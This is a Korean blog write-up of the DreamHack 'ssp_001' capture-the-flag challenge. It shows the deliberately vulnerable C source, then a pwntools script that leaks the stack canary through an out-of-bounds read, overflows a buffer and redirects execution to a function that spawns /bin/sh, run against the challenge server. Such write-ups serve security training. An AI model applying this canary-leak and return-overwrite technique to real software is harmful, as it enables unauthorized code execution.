vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • forensic artifacts
  • webhacking.kr
  • Digital Forensic
  • Thumbcache
  • File Execution
  • ssd
  • shellbag
  • Los
  • JavaScript
  • Windows Artifact
  • trim
  • digital-forensics
  • LNK FIile
  • sql injection
  • forensic-cheatsheet
  • Artifacts
  • Digital-Forensic
  • shellbag forensics
  • iconcahce

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

WriteUp/DreamHack

DreamHack : ssp_001

2020. 11. 19. 14:05

ssp_001

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

print box 함수가 있다. 인덱스를 넘어서까지 출력을 할 수 있기 때문에,

canary 값을 leak 할 수 있을 것 같다.

즉 canary 값을 빼낸 다음, BOF를 줘서 RET 값을 get_shell로 변조하면 되겠다.

canary 의 위치가 : ebp- 0x8 이고,

box 의 위치가 : ebp-0x88 이므로

0x80 의 위치에 있다. 즉 index는 한 바이트 단위 이므로 128 으로 줬을 때 canary 의 위치이다.

한번 구해보자.

from pwn import * 

p = process("./ssp_001")

canary =""

#leak canary 
for i in range(128,132):
    p.recvuntil(">")
    p.sendline("P")

    p.recvuntil("Element index :")
    p.sendline(str(i))

    res = p.recvline()
    canary = res[-3:-1] + canary

canary = "0x"+canary
print("Leaked Canary is : "+canary)

일단 맞게 값이 나온다. 잘 한거 같다.

이제 RET를 덮어씌워줘야 하니까. Exit 해주는 옵션을 이용해야 할 것 같다.

뭐 사실 F 옵션으로 쓰고 E 에서 나가나 뭘하나 거기서 거기다. 암튼 E 에서 하는게 한번에 할 수 있으니까 거기서 했다.

E 에서는 name 변수를 사용하니까

name 위치 : ebp - 0x48

즉 0x40 만큼의 dummy 를 주고 4만큼의 Canary 값을 준 다음.

dummy + SFP (8)을 주고 RET자리에 get_shell을 써주면 되겠다.

from pwn import * 

#p = process("./ssp_001")
p = remote("host1.dreamhack.games", 12827)

get_shell = 0x80486b9
pay = ""
canary =""

#leak canary 
for i in range(128,132):
    p.recvuntil(">")
    p.sendline("P")

    p.recvuntil("Element index :")
    p.sendline(str(i))

    res = p.recvline()
    canary = res[-3:-1] + canary

canary = "0x"+canary
print("Leaked Canary is : "+canary)
p.recvuntil(">")
p.sendline("E")

pay += "A"*0x40
pay += p32(eval(canary))
pay += "\x90"*8
pay += p32(get_shell)
p.recvuntil("Name Size : ")
p.sendline(str(len(pay)))

p.recvuntil("Name : ")
p.sendline(pay)

p.interactive()

[+] Opening connection to host1.dreamhack.games on port 12827: Done
Leaked Canary is : 0xfa7c6100
[*] Switching to interactive mode
$ cat flag
DH{-----flag-----}

저작자표시

'WriteUp > DreamHack' 카테고리의 다른 글

DreamHack : xss-1  (0) 2020.11.23
DreamHack : Basic ROP x64  (0) 2020.11.19
DreamHack : ssp_000  (0) 2020.11.19
DreamHack : Sint  (0) 2020.11.19
DreamHack : Out_of_bound  (0) 2020.11.19
    'WriteUp/DreamHack' 카테고리의 다른 글
    • DreamHack : xss-1
    • DreamHack : Basic ROP x64
    • DreamHack : ssp_000
    • DreamHack : Sint
    vared
    vared

    티스토리툴바